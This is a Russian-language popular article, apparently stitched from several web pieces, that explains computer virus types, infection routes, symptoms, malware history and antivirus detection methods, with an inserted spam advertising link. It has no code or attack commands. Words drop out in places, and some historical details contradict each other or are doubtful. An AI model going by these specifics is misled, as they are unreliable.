Информация о компьютерных вирусах. Компьютерные вирусы, их классификация. Антивирусные программные средства. Что такое компьютерный вирус

И снова здравствуйте.
Тема сегодняшней статьи . Виды компьютерных вирусов, принципы их работы, пути заражения компьютерными вирусами.

Что вообще такое компьютерные вирусы.

Компьютерный вирус — Это специально написанная программа или сборка алгоритмов которые пишутся с целью: пошутить, навредить чьему либо компьютеру, получение доступа к вашему компьютеру, для перехвата паролей или вымогания денег. Вирусы могут само-копироваться и заражать вредоносным кодом ваши программы и файлы, а так же загрузочные сектора.

Виды вредоносных программ.

Разделить вредоносные программы можно на два основных вида.
Вирусы и черви.

Вирусы - распространяются через вредоносный файл, который вы могли скачать в интернете, или может оказаться на пиратском диске, или часто передают их по скайпу под видом полезных программ (заметил что на последнее часто попадаются школьники, им передают якобы мод для игры или читы а на самом деле может оказаться вирусом который может навредить).
Вирус вносит свой код одну из программ, либо маскируется отдельной программой в том месте куда обычно пользователи не заходят (папки с операционной системой, скрытые системные папки).
Вирус не может запуститься сам, пока вы сами не запустите зараженную программу.
Черви заражают уже множество файлов вашем компьютере, например все exe файлы, системные файлы, загрузочные сектора и тд.
Черви чаще всего проникают в систему уже сами, используя уязвимости вашей ОС, вашего браузера, определенной программы.
Они могут проникать через чаты, программы для общения такие как skype, icq , могут распространяться через электронную почту.
Так же они могут быть на сайтах, и используя уязвимость вашего браузера проникнуть в вашу систему.
Черви могут распространяться по локальной сети, если один из компьютеров в сети окажется заражен он может распространяться на остальные компьютеры заражая все файлы на своём пути.
Черви стараются писать под самые популярные программы. Например сейчас самый популярный браузер «Chrome», поэтому мошенники будут стараться писать под него, и делать вредоносный код на сайты под него. Потому что часто интереснее заразить тысячи пользователей которые используют популярную программу чем сотню с непопулярной программой. Хотя chrome и постоянно улучшает защиту.
Лучшая защита от сетевых черве й это обновлять ваши программы и вашу операционную систему. Многие пренебрегают обновлениями о чем часто жалеют.
Несколько лет назад я замечал следующий червь.

Но он явно попал не через интернет а скорее всего через пиратский диск. Суть его работы была таковой — он создавал будто бы копию каждой папки в компьютере или на флешке. Но на самом деле он создавал не похожую папку а exe файл. При нажатии на такой exe файл он распространялся ещё сильнее по системе. И вот было только избавишься от него, придешь к другу с флешкой, скинуть у него музыку а возвращаешься с зараженной таким червем флешку и снова приходилось его выводить. Наносил ли этот вирус какой то ещё вред системе я не знаю, но вскоре этот вирус прекратил своё существование.

Основные разновидности вирусов.

На самом деле существует множество видов и разновидностей компьютерных угроз. И все рассмотреть просто невозможно. Поэтому мы рассмотрим самые распространенные в последнее время и самые неприятные.
Вирусы бывают:
— Файловые — находятся в зараженном файле, активируются когда пользователь включает эту программу, сами не могут активироваться.
— Загрузочные — могут загружаться при загрузке windows попав в автозагрузку, при вставке флешки или подобное.
- Макро вирусы - это различные скрипты которые могут находиться на сайте, могут прислать их вам по почте или в документах Word и Excel, выполняют определенные функции заложенные в компьютере. Используют уязвимости ваших программ.

Типы вирусов.
-Троянские программы
— Шпионы
— Вымогатели
— Вандалы
— Руткиты
— Botnet
— Кейлогеры
Это самые основные виды угроз которые могут вам встретиться. Но на самом деле их намного больше.
Некоторые вирусы могут даже комбинироваться и содержать в себе сразу несколько видов этих угроз.
— Троянские программы . Название происходит от троянского коня. Проникает в ваш компьютер под видом безвредных программ, потом может открыть доступ к вашему компьютеру или переслать ваши пароли хозяину.
В последнее время распространены такие трояны которые называются стилеры (stealer). Они могут воровать сохраненные пароли в вашем браузере, в почтовых игровых клиентах. Сразу после запуска копирует ваши пароли и отправляет ваши пароли на email или на хостинг злоумышленнику. Ему остается собрать ваши данные, потом их либо продают либо используют в своих целях.
— Шпионы (spyware) отслеживают действия пользователя. Какие сайты посещает или что делает пользователь на своём компьютере.
— Вымогатели . К ним относятся Винлокеры (winlocker). Программа полностью, или полностью блокирует доступ к компьютеру и требует деньги за разблокировку, на пример положить на счет или тд. Ни в коем случае если вы попали на такое не стоит пересылать деньги. Компьютер вам не разблокируется, а деньги вы потеряете. Вам прямая дорога на сайт компании Drweb, там можно найти как разблокировать многие винлокеры, за счет ввода определенного кода или выполнения некоторых действий. Некоторые винлокеры могут пропасть например через день.
— Вандалы могут блокировать доступы к сайтам антивирусов и доступ к антивирусам и многим другим программам.
— Руткиты (rootkit) — вирусы гибриды. Могут содержать в себе различные вирусы. Могут получать доступ к вашему пк, и человек будет полностью иметь доступ к вашему компьютеру, причем могут слиться на уровень ядра вашей ОС. Пришли из мира Unix систем. Могут маскировать различные вирусы, собирать данные о компьютере и обо всех процессах компьютера.
— Botnet достаточно неприятная вещь. Ботнеты это огромные сети из зараженных компьютеров «зомби», которые могут использоваться для ддоса сайтов и прочих кибер атак, используя зараженные компьютеры. Этот вид очень распространен и его тяжело обнаружить, даже антивирусные компании могут долго не знать о их существовании. Очень многие могут быть ими заражены и даже не подозревать об этом. Не исключении вы и даже может и я.
— Кейлогеры (keylogger) — клавиатурные шпионы. Перехватывают всё что вы вводите с клавиатуры (сайты, пароли) и отправляет их хозяину.

Пути заражения компьютерными вирусами.

Основные пути заражения.
— Уязвимость операционной системы.

— Уязвимость в браузере

— Качество антивируса хромает

— Глупость пользователя

— Сменные носители.
Уязвимость ОС — как бы не старались клепать защиту для ОС со временем находятся дыры безопасности. Большинство вирусов пишется под windows так как это самая популярная операционная система. Лучшая защита это постоянно обновлять вашу операционную систему и стараться использовать более новую версию.
Браузеры — Здесь происходит за счёт уязвимостей браузеров, особенно если они опять же старые. Лечится так же частым обновлением. Так же могут быть проблемы если вы качаете плагины для браузера со сторонних ресурсов.
Антивирусы — бесплатные антивирусы которые имеют меньший функционал в отличие от платных. Хотя и платные не дают 100 результата в защите и дают осечки. Но желательно иметь всё же хотя бы бесплатный антивирус. Я уже писал про бесплатные антивирусы в этой статье .
Глупость пользователя — клики по баннерам, переходи по подозрительным ссылкам из писем и тд, установка софта из подозрительных мест.
Сменные носители — вирусы могут устанавливаться автоматически с зараженных и специально подготовленных флешек и прочих сменных носителей. Не так давно мир услышал про уязвимость BadUSB.

https://avi1.ru/ — купить очень недорогое продвижение в социальных сетях Вы можете на этом сайте. Также Вы получите действительно выгодные предложения по приобретению ресурсов на свои страницы.

Виды заражаемых объектов.

Файлы — Заражают ваши программы, системные и обычные файлы.
Загрузочные секторы — резидентные вирусы. Заражают как понятно из названия загрузочные сектора компьютера, приписывают свой код в автозагрузку компьютера и запускаются при запуске операционной системе. Порою хорошо маскируются что трудно убрать из автозагрузки.
Макрокоманды — Документы word, excel и подобные. Использую макросы и уязвимости средств Microsoft office вносит свой вредоносный код в вашу операционную систему.

Признаки заражения компьютерными вирусами.

Не факт что при появлении некоторых из этих признаков означает наличие вируса в системе. Но если они имеются рекомендуется проверить свой компьютер антивирусом или обратиться к специалисту.
Один из распространенных признаков — это сильная перегрузка компьютера . Когда у вас медленно работает компьютер, хотя у вас ничего вроде бы не включено, программ которые могут сильно нагружать компьютер. Но если у вас антивирус заметьте антивирусы сами по себе нагружают компьютер очень хорошо. А в случае отсутствия такого софта который может грузить то скорее тут вирусы. Вообще советую по уменьшить для начала количество запускаемых программ в автозапуске.

так же может быть одним из признаков заражения.
Но не все вирусы могут сильно нагружать систему, некоторые практически трудно заметить изменения.
Системные ошибки. Перестают работать драйвера, некоторые программы начинают работать не правильно или часто вылетают с ошибкой но раньше допустим такого не замечалось. Или начинают часто перезагружаться программы. Конечно такое бывает из за антивирусов, например антивирус удалил по ошибке посчитав системный файл вредоносным, либо удалил действительно зараженный файл но он был связан с системными файлами программы и удаление повлекло за собой такие ошибки.

Появление рекламы в браузерах или даже на рабочем столе начинают появляться баннеры.
Появление не стандартных звуков при работе компьютера (писк, щелчки ни с того ни с сего и подобное).
Открывается сам по себе CD/DVD привод , или просто начинает словно читать диск хотя диска там нет.
Длительное включение или выключение компьютера.
Угон ваших паролей. Если вы заметили что от вашего имени рассылается различный спам, с вашего почтового ящика или странички социальной сети, как вероятность что вирус проник в ваш компьютер и передал пароли хозяину, если вы заметили такое рекомендую провериться антивирусом в обязательном порядке (хотя не факт что именно так злоумышленник получил ваш пароль).
Частое обращение к жесткому диску . У каждого компьютера есть индикатор, который мигает когда используют различные программы или когда копируете, скачиваете, перемещаете файлы. Например у вас просто включен компьютер но не используется никаких программ, но индикатор начинает часто мигать якобы используются программы. Это уже вирусы на уровне жесткого диска.

Вот собственно и рассмотрели компьютерные вирусы которые могут вам встретиться в интернете. Но на самом деле их в разы больше, и полностью защититься не возможно, разве что не пользоваться интернетом, не покупать диски и вообще не включать компьютер.

Каждый из нас хотя бы раз в жизни сталкивался с компьютерным вирусом. И хорошо, если вредитель оказался слабым. С простым вирусом легко справится антивирусник. А вот более серьезное программное обеспечение, которое обычно используют хакеры, может нанести непоправимый ущерб всей системе и личным данным.

Понятие

Что такое компьютерный вирус, знают многие. Но не все до конца понимают его роль и возможности. Этот тип вредоносного программного обеспечения легко может копировать себя, проникать в код других приложений, нарушать работоспособность системных структур памяти и загрузочных секторов, распространяться по разным каналам связи.

Многие неопытные пользователи считают, что задача вируса - повреждение или удаление личных данных. На деле же это не так. Конечно, виды компьютерных вирусов бывают разные, но чаще всего их основная цель - распространение вредоносного ПО. А вот сопутствующие действия - это как раз удаление информации, повреждение элементов данных, блокировка функционирования и многое другое.

Важно понимать, что компьютерный вирус не всегда управляемый. Поэтому, если хакер и не хотел создавать вредоносные элементы, ПО все равно может навредить системе из-за оплошностей, которые были допущены во время разработки, а ОС и другие приложения просто могут не регистрировать подобные ошибки.

Неопытные пользователи часто называют вирусами любое вредоносное ПО. Это не совсем правильно, поскольку конкретно вирусы - лишь вид подобного программного обеспечения.

Рождение

Когда специалисты разрабатывали самовоспроизводящиеся вирус — не знал никто. Но именно подобные разработки стали основой для его формирования.

Перед тем как создать самовоспроизводящиеся механизмы, нужно было заложить алгоритмы теории. Этим занимался Джон фон Нейман. Уже в 1951 году он открыл способы создания такой программы.

Его идею поддержали многие специалисты и начали активную публикацию, которая была посвящена разработке самовоспроизводящейся системы.

В одной из статей была представлена первая механическая конструкция подобного типа. Так люди смогли узнать о двумерной модели структур, которые могли бы самостоятельно активироваться, захватывать и освобождаться.

Подобная самовоспроизводящаяся программа была несовершенна за счет того, что виртуальное «существо» погибало из-за отсутствия подачи тока на платформу.

Игра без правил

Еще одной попыткой разработать первые компьютерные вирусы стало изобретение необычной головоломки под названием «Дарвин». В начале 60-х годов ученые одной американской фирмы создали ряд утилит, которые назвали «организмами». Софт нужно было загрузить в архивы компьютера. «Организмы», которые были сформированы одним игроком, должны были поглотить вражеские «организмы» и забрать их территорию. Выигрывал тот, кто отбирал всю память или накапливал большее количество баллов.

Попытки

Многие полагают: человечество узнало, что такое компьютерный вирус уже к 70-м годам XX века. Но все же нельзя назвать самовоспроизводящиеся программы или игры типа «Дарвин» вирусами. Настоящие «вредители» стали известны гораздо позже и были намного влиятельнее и опаснее.

Самый создали в начале 80-х годов. После этого началось активное развитие вредоносного ПО. В итоге, вместе с Elk Cloner появляется вирус Джо Деллинджера, проект «Грязная дюжина», а следом и ряд антивирусных утилит.

Был первым, кто показал миру загрузочный вирус. Elk Cloner был разработан специально для Apple II. Отыскать «вредителя» можно было сразу при загрузке системы: появлялось сообщение с небольшим стихотворением, в котором вирус угрожал юзеру потерей личных файлов, нарушением системной работы и невозможностью удаления.

Начинает свою деятельность и Джон Деллинджер. Он тоже разработал вирус для Apple II. Специалист так хотел быть первым, что упустил одну из вредоносных программ. Она стала «расползаться» по всему университету. Один из секторов анализа памяти легко обнаруживал ее. Хотя обычный пользователь найти этот раздел в системе не смог бы.

Вирус Джона Деллинджера подавлял графику одной известной головоломки. В итоге, спустя полмесяца все «пиратские» версии были «сломаны». Чтобы исправить ошибку, разработчик создал еще один вирус, который исправлял предыдущую версию.

Развитие

Уже к 1984 году многие специалисты стали понимать, что такое компьютерный вирус. Была выпущена первая исследовательская статья, которая поднимала вопросы и проблемы системного заражения. Несмотря на то что сам термин был предложен куратором автора статьи, именно исследователя Коэна называют автором данного термина.

Защитная реакция

Когда многие стали понимать, что такое компьютерный вирус, выяснилось, что есть потребность создать защиту системы от него. Первой антивирусной программой оказалась разработка Энди Хопкинса. Подобная утилита уже с 1984 года анализировала текст загрузочного файла, указывала на все сомнительные элементы кодов и уведомлений.

В свое время она оказалась самой простой и эффективной. Программа могла перенаправлять процессы записи и форматирования, которые происходили через BIOS. При этом она разрешала юзеру вмешиваться в операции.

Системные катастрофы

К концу восьмидесятых годов был выпущен дешевый ПК IBM. Его появление стало толчком для разработки более масштабных вирусов. Поэтому за короткий период случились три крупные системные катастрофы.

«Мозговой штурм» и «гость» из Иерусалима

Естественно, эпидемии компьютерных вирусов до этого не случались. Поэтому борьба с ними оказалось непростой. Первая атака произошла благодаря вирусу Brain, который разработали два брата еще в 1986 году. А уже на следующий год он был запущен на все компьютеры.

Сейчас сложно сказать, насколько масштабной была эпидемия. Известно лишь, что вирус затронул более 18 тысяч систем. Как оказалось позже, братья не хотели никому навредить. Вирус должен был наказать «пиратов», которые воровали программное обеспечение. Но что-то пошло не так, и Brain коснулся не только самого Пакистана, а и пользователей по всему миру. Многие специалисты познакомились с первым стелс-вирусом, который менял зараженный сектор на его целостной оригинал.

С вирусом Brain связывают и вредителя, который известен как Jerusalem. В конце 80-х годов от него пострадали несколько компаний и вузов. Вирус моментально удалял данные при их активации. Позже стало известно, что это один из наиболее масштабных вредителей, который коснулся пользователей из Европы, Америки и Ближнего Востока.

Работа над ошибками

На этом заражение компьютерными вирусами не остановилось. Вскоре мир узнал о черве Морриса. Это был первый сетевой «вредитель», который был нацелен на атаку Unix. Планировалось, что утилита попадет в вычислительную систему и сохранится там, без возможности обнаружения. Автор вируса хотел сделать его скрытым и безвредным, но все пошло не по плану. Причиной саморазмножения вируса стали ошибки, допущенные при разработке.

Эпидемия с сильно повлияла на функциональность систем. Позже оказалось, что ущерб составил 96 млн долларов. Хотя, если бы автор хотел целенаправленно навредить операционной системе, то сумма была бы значительно больше.

Такая неудачная разработка привела Морриса в суд, где ему назначили три года условно, отправили на общественные работы и вынудили заплатить «круглую» сумму.

Вирусная серия

Пока специалисты не стали разбираться в типах компьютерных вирусов, системные эпидемии случались все чаще. Так в 1989 году стал известен DATACRIME. Это был не просто вирус, а целая серия. Всего за несколько месяцев ей удалось поразить более 100 тысяч систем.

Эта проблема не могла пройти мимо программистов, и вскоре были выпущены утилиты, которые сканировали характерные для этого вируса строки.

Когда с этой серией вирусных программ было покончено, тут же появился первый «троянский конь» под названием AIDS. Так пользователи узнали о программах-вымогателях, которые закрывали доступ к данным на жестком диске и показывали единственную информацию на мониторе. AIDS требовал 189 долларов на определенный адрес. Естественно, многие пользователи заплатили вымогателю. Но он вскоре был арестован, попавшись на обналичивании чеков.

Классификация

Оказалось, что знать, что такое компьютерный вирус - недостаточно. Нужно было как-то различать «вредителей», чтобы после разрабатывать защитные утилиты. Кроме того, на классификацию компьютерных вирусов повлияло и развитие ПК.

Вредоносные программы сейчас можно классифицировать по методам «размножения» и функциональности. До широкого развития интернета вирусы могли храниться на дискетах и других носителях. Сейчас же они преимущественно передаются через локальные и глобальные сети. Вместе с этим выросла и их функциональность.

К сожалению, разработать четкую классификацию до сих пор так и не удалось. Тем не менее вирусы можно разделить на те, которые:

имеют разные методы поражения;
распространяются разными механизмами;
вредят операционным системам;
используют особые технологии;
написаны на разных языках;
имеют дополнительную вредоносную функциональность.

Методы поражения

Сюда относят следующие виды компьютерных вирусов: файловые, загрузочные, сценарные, нарушающие исходный код, макровирусы.

Например, файловый вредитель затрагивает файловую систему компьютера для своего «размножения». Он внедряется практически в любой исполняемый документ операционной системы. Обычно, своей «жертвой» он может выбрать двоичные файлы с расширением «.exe» или «.com», может затрагивать динамическую библиотеку, «дрова» или командные файлы.

Макровирус обычно «поселяется» в прикладных пакетах типа Microsoft Office. С помощью макроязыков такие «вредители» могут перемещаться от одного файла к другому.

Механизмы заражения

Операционные системы

Есть вирусы, которые могут поражать любую операционную систему. Но не все направлены на то, чтобы «сотрудничать» с каждой платформой. Поэтому хакеры разрабатывают вирусы для отдельных ОС. Сюда входит DOS, Windows, Linux, Unix и многие другие.

Технологии

Особенность компьютерных вирусов в том, что они могут использовать особые технологии. К примеру, используют технику, которая понижает уровень их обнаружения. В итоге, самые простые антивирусные приложения не могут обнаружить вредителя.

Стелс-вирусы переводятся как «невидимки». Такое программное обеспечение полностью или частично скрывает свое присутствие. Чтобы это сделать, вирус перехватывает обращения к ОС.

В эту группу относят руткиты. Они могут быть представлены исполняемыми файлами, скриптами, конфигурационными документами. Их задача обеспечить маскировку объектов, управлять событиями, которые происходят в системе, собирать данные.

Компьютерные вирусы и антивирусные программы

С момента появления вирусов и антивирусников прошло очень много времени. В разные годы появлялись особые вредители, которые запоминались всему миру благодаря своему катастрофическому влиянию.

Например, CIH - вирус, который был посвящен трагедии на Чернобыльской АЭС. В момент активации «вредитель» парализовал работу всех систем. Nimida оказался самым шустрым вирусом, которому понадобилось четверть часа для заражения миллиона ПК.

Slammer прозвали самым агрессивным за то, что вирус удалил информацию с 75 тысяч систем всего за 10 минут. Conficker принято считать одним из самых опасных «вредителей». Червь атаковал системы на ОС Windows и за 3 месяца навредил 12 миллионам компьютеров.

В 2000-х году был зарегистрирован вирус ILOVEYOU. Позже он попал в Книгу рекордов Гиннесса, получив звание «Самого разрушительного компьютерного вируса в мире». Этот червь поразил 15 миллионов компьютеров, а ущерб мировой экономике по разным подсчетам составил 10-15 миллиардов долларов.

Сейчас до сих пор происходят, но с ними порой справляются мощные антивирусные программы. Существует международная независимая организация, которая анализирует работоспособность защитных утилит. AV-TEST представила список лучших антивирусников 2017 года:

Avira Antivirus Pro;
Bitdefender Internet Security;
Kaspersky Lab Internet Security;
Norton Security;
Trend Micro Internet Security.

На данный момент это самые эффективные утилиты. И хотя все они платные, каждая имеет пробный период, а также относительно невысокую годовую стоимость.

Вирусы - самая известная и распространённая электронная угроза. Практически каждый обладатель компьютера равно или поздно сталкивается с этой заразой, но мало кто знает, что же представляют собой компьютерные вирусы, каким путём они заражают компьютер, как размножаются и чем отличаются друг от друга, и - главное - как с ними бороться.

Собственно, на большую часть самых популярных вопросов, касающихся компьютерных вирусом, можно ответить, просто дав строгое определение этого типа угроз. Итак, компьютерный вирус - это отдельная разновидность программ для компьютера, отличающаяся деструктивными функциями (уничтожение данных, блокировка доступа к документам, повреждение программ) и способностью к размножению.

Немного истории
Прежде чем приступить к рассмотрению различных классификаций вирусов, давайте вспомним их историю.
Впервые самовоспроизводящиеся программы были описаны ещё самим Джоном фон Нейманом в 1951 году. Первую модель такой программы описали супруги Пенроуз в статье для журнал Nature в 1957 году, после чего некий Ф. Ж. Шталь написал на машинном языке ЭВМ IBM 650 биокибернетическую модель, в рамках которой виртуальные существа двигались, «питаясь» символами, вводимыми с клавиатуры. После «поедания» определённого количества символов существо размножалось, причём часть его функций могла «мутировать». Эта программа, однако, не была вирусом как таковым, поскольку не обладала способностью к заражению и не несла никаких деструктивных функций.
Первым «настоящими» вирусами стали программы для компьютеров Apple, появившихся в 1977 году, и умевшим объединяться в сеть. Эти вирусы «размножались» «вручную» — авторы выкладывали их под видом полезных программ на BBS (предшественники современных форумов и чатов) и после запуска уничтожали данные пользователей. Причём некоторые модификации этих прото-вирусов могли проявлять свою истинную сущность через определённое время или при определённых условиях.

Первый вирус, получивший известность среди пользователей, был написан в 1981 году Ричардом Скрентом. Зараза, получившая название ELK CLONER, внедрялась в загрузочную запись диска Apple II и обнаруживала себя выводом сообщения с небольшим стихотворением. В том же году студент Техасского университета A&M Джо Деллинджер создал вирус для операционной системы компьютеров Apple II, который мешал нормальной работе популярной в то время игры CONGO. В течение нескольких недель копии этой игры, имеющиеся на компьютерах университета перестали работать и автор «заразы» решил написать первый «антивирус» — модификацию вируса, которая замещала код своего предшественника.
Собственно термин «компьютерный вирус» был впервые предложен в сентябре 1984 года Ф. Коэном. Его статья, в которой описал результаты своего исследования вредоносных программ, стала вторым академическим исследованием новой проблемы.
Первые серьёзные эпидемии вирусов случились в 1987 год, когда широкое распространение получили дешёвые компьютеры IBM PC. Так, вирус Brain («Пакистанский вирус»), написанный братьями Амджатом и Базитом Алви был обнаружен летом 1987, когда эпидемия поразила 18 тысяч компьютеров в США. Вирус этот, правда, был своего рода «карой» для пользователей, использующих нелицензионные программы тех же разработчиков. Что интересно, этот вирус был первым, использующим маскировку - при попытке чтения заражённого сектора он «отдавал» вопрошающей программе незаражённый оригинал.

Первый вирус, изначально ориентированный на заражение целых сетей, появился в 1988 году. Этот «червяк», впрочем, не нёс никаких деструктивных действий и был создан неким Робертом Моррисом с единственной целью - заразить операционную систему UNIX Berkeley 4.3 на всех компьютерах, подключенных к сети ARPANET, никак себя не обнаружив. Достигнув своей цели, этот вирус начинал размножаться и рассылать свои копии. Всего червь Морриса поразил более 6 тысяч компьютеров, часть из которых (в силу активного размножения вируса) вышла из строя на несколько дней (до обнаружения источника проблем и исправления ошибок в ОС). Двумя годами позже Моррис был признан виновным в причинении материального ущерба (невозможность использования сети в течение нескольких дней) и был приговорён к условному заключению сроком на два года, 400 часам общественных работ и штрафу в 10 тысяч долларов.
На год позже «червя Морриса», в 1989 году, появился первый «троянский конь». Вирус с названием AIDS (ВИЧ) блокировал доступ ко всей информации на жёстком диске, попутно отображая на экране надпись «Пришлите чек на $189 на такой-то адрес». Само собой, по точным координатам автора удалось быстро вычислить и в последствии он был осуждён за вымогательство.
Но переломным моментом в истории развития можно считать 1990 год. Началось всё первого полиморфного вируса Chameleon, который стал образцом для подражания, так как был прятаться от антивирусных программ. Когда же вирусописатели стали объединять в своих творениях различные методы сокрытия, проблема компьютерных вирусов приобрела по-настоящему глобальный масштаб.

Классификация компьютерных вирусов
Единой классификации компьютерных вирусов не существует, однако силами антивирусных компаний из разных стран сложилась общепринятая система, которая разделяет вирусы на группы, отличающиеся средой обитания, способами проникновения и заражения, вредоносным действиям и особенностям функционирования.

Классификация по среде обитания . С первой классификацией всё просто. Файловые вирусы внедряют своё тело в исполнимые файлы (читай - программы) с расширениями *.exe, *.dll, *.sys, *.bat и *.com. Такие вирусы, как и их , «присасываются» к носителю, перехватывая базовые управляющие функции. В результате заражённая программа при запуске первым делом выполняет код вируса, а только затем - запускается сама. В редких случаях файловые вирусы полностью заменяют код программы на своё собственное тело, выполняя таким образом деструктивные функции (см. ниже).
Более хитро прячутся загрузочные вирусы - они записывают свой код в загрузочный сектор диска (boot-сектор) или так называемую Master Boot Record (сектор винчестера, содержащий код вызова загрузчика).
Следующий вид вирусов, макро-вирусы , внедряются уже не в программы, а в документы, обрабатываемые программами с поддержкой макросов (алгоритмов автоматизайции рутинных действий пользователя). Чаще других от таких вирусов «страдают» документы Microsoft Word и Excel.
Строго говоря, эта классификация не является всеобъемлющей, поскольку всё чаще встречаются вирусы, способные скрывать своё тело сразу в нескольких средах (например, в исполнимых файлах и в загрузочном секторе).

Классификация по способам проникновения и заражения . По мере усложнения компьютеров и программного обеспечения у вирусов появляется всё больше путей проникновения на компьютеры. Самый простой из них - запуск заражённой программы самими пользователем . Как правило, вирусы, запускающиеся таким методом, приходят в электронных письмах или распространяются под видом различных полезных программ (в том числе - в виде ссылок, присылаемых через ICQ). Причём, всё чаще авторы столь простой в техническом плане заразы используют методы социальной инженерии, правдами и неправдами убеждая пользователя запустить вирус (к примеру, вирус может быть замаскирован под картинку, от которой подвоха не ждут даже опытные пользователи).
Более прогрессивные вирусы используют для запуска самое себя встроенные функции операционных систем . Самая популярная из них - механизм автозапуска программ в Windows . Вставив в USB-порт банальную флешку, можно заполучить заразу, даже не запуская никаких программ с этого носителя - за вас всё сделает файл autorun.inf, который уже активный вирус записал на флешку на другом компьютере.
Ещё одна разновидность вирусов - web-зараза, попадающая на компьютер с заражённых сайтов . Здесь всё просто - браузеры (особенно часто этим грешит Internet Explorer) обрабатывают имеющийся на странице код (чаще всего - JavaScript), который и делает «чёрное дело» - к примеру, скачивает из Сети и запускает «традиционный» программный вирус.
Наконец, самая опасная зараза, способная обойтись без явной или неявной помощи со стороны пользователя, это так называемые «черви» - вирусы, проникающие на компьютер-жертву через так называемые «дыры» (уязвимости) в программах или операционной системе. Чаще всего такие вирусы используют «веерный» метод проникновения - каждый заражённый компьютер становится источником заразы, рассылая новые копии вируса по всем доступным компьютерам.

Что касается способов заражения , то здесь все вирусы можно поделить на две группы: резидентные (такая «зараза» постоянно «висит» в памяти компьютера и может не только совершать деструктивные действия, но активно препятствовать своему уничтожению) и нерезидентные (после выполнения определённого набора действий такие вирусы выгружаются из памяти и не проявляют никакой активности).

Классификация по вредоносным действиям . Как ни странно, но в этой классификации на первом месте стоят вирусы безвредные . Обычно они являются «первыми ласточками», на которых вирусописатели испытывают новые технологии и методы проникновения. На следующей ступеньке стоят вирусы неопасные , чьё воздействие на компьютер ограничивается различными эффектами (вывод сообщений, замена обоев, звуковые эффекты и т. п.). Третью строчку в классификации занимают опасные вирусы , способные привести к сбоям в работе компьютера (например, блокируют некоторые сайты или препятствуют запуску ряда программ). Наконец, существуют и очень опасные вирусы , способные уничтожить данные, повредить файловую систему, полностью блокировать компьютер и т. п.

Лечение
Фактически, обобщив все распространённые классификации вирусов, мы дали ответы на самые распространённые вопросы о вирусах, за исключением главного - как с ними бороться.
Как и в случае с , лучшим лечением будет профилактика. Проще говоря - использование активной антивирусной защиты (так называемых «мониторов»). «Мониторы» постоянно находятся в памяти компьютера, контролируя все процессы в оперативной памяти компьютера и все обращения к файлам.
Для разовой проверки компьютера (например, при подозрении на заражение в отсутствие «монитора») можно использовать программы-сканеры, проверяющие операционную систему и пользовательские файлы по запросу.
Оба типа антивирусных программ используют в своей работе несколько алгоритмов, позволяющих обнаруживать «заразу». Самый распространённый из них - «сигнатурный» (сравнительный метод, проверка по базе) . Антивирус попросту использует базу, содержащую образцы кода вирусов, сверяя фрагменты проверяемых программ и документов с «эталонами». Базы создаются разработчиками антивирусных программ и постоянно обновляются. При обнаружении совпадений антивирус может удалить инфицированный файл полностью, попытаться «вылечить» файл, удалив тело вируса, заблокировать доступ к инфицированному файлу, или отправить файл в «карантин» (специальную папку, в которой все действия вируса опять-таки блокируются).
При всей своей эффективности сигнатурный метод имеет один существенный недостаток: в случае, если в базе антивируса не нашлась подходящая запись (что не редкость в случае с новыми «полиморфами»), антивирус оказывается бесполезен.
Более эффективный метод - «поведенческий» (проактивная защита, поведенческий блокиратор, Host Intrusion Prevention System, HIPS) . Он основан на анализе поведения программ и сравнении полученных данных с известными антивирусу «нормальными» поведенческими алгоритмами. В случае обнаружения «подозрительных» действий антивирус уведомит пользователя.

В современных антивирусах поведенческий метод обычно сочетается с «эвристическим» , основанным на алгоритмах «предположений». К примеру, антивирус может предположить, что программа, осуществляющая запись в загрузочную запись диска, но при этом не являющаяся известной антивирусу дисковой утилитой, становится под «подозрение» и может быть удалена. Такой метод, будучи неплохим подспорьем в деле обнаружения новых и неизвестных угроз, не может, однако считаться абсолютно надёжным и использовании высокого уровня эвристики даёт самое большое число ложных срабатываний. К эвристическим методам относят и эмуляцию проверяемой программы в своеобразной «виртуальной» машине, создаваемой антивирусом. К примеру, антивирус может начать исполнение программы, инфицированной полиморфным вирусом, пошагово выполняя программу и контролируя её действия до тех пор, пока не убедится в её безопасности, или же не «вычислит» вирус. Наконец, «эвристика» позволяет проверять исходный код программы (после её дизассемблирования в памяти), анализируя его вероятные действия или сверяя фрагменты кода с базой известных вирусных алгоритмов.
Наконец, самый эффективный (но при этом - самый неудобный с точки зрения пользователя) метод - «Белый список» . Суть его - в составлении пользователем списка «доверенных» программы, которые могут запускаться на защищаемом компьютере. Все прочие программы будут полностью блокироваться антивирусом. Такой метод, впрочем, чаще реализуется не в антивирусах, а в брэндмауерах («защитных экранах»), поскольку строго говоря сам по себе он не может гарантировать «чистоту» программ (пользователь сам того не зная может внести в список уже заражённую программу).
Как правило, антивирусные программы используют различные комбинации описанных методов. Главная проблема разработчиков антивирусов в данном случае - добиться оптимального соотношения эффективности обнаружения угроз и производительности программы. Некоторые разработчики возлагают эту заботу на плечи пользователей, предлагая им самостоятельно выбрать необходимые алгоритмы, а также настроить уровень их «подозрительности».

Заключение
Мы рассказали обо всех аспектах «жизни» компьютерных вирусов, которые интересуют рядовых пользователей. В заключение подведём краткие итоги.
Итак, вирус - это программа, выполняющая разрушительные действия и способная к размножению. Вирусы отличаются по способам распространения, проникновения на компьютеры пользователей, алгоритмам работы и типу деструктивных действий.
Вирусы могут жить самостоятельно, имя отдельное «тело»-файл, или же «прикрепляться» к программа и документам пользователя. Большая часть вирусов «живёт» в исполнимых файлах (*.exe, *.dll и других) или документах, которые могут содержать макросы. Однако в теории вирус может быть заключён в любой файл, обрабатываемый уязвимой программой. «Ошибаясь» такая программа запускает на исполнение код из самого безобидного файла (скажем, картинки).
Компьютерные вирусы могут размножаться путём копирования собственного тела, или посредством передачи своего кода через компьютерные сети.
Также стоит помнить, что создание и распространение компьютерных вирусов и вредоносных программ преследуется в России по закону (глава 28, статья 273 Уголовного Кодекса РФ).

Что делать, если антивирус не справился со своей работой.

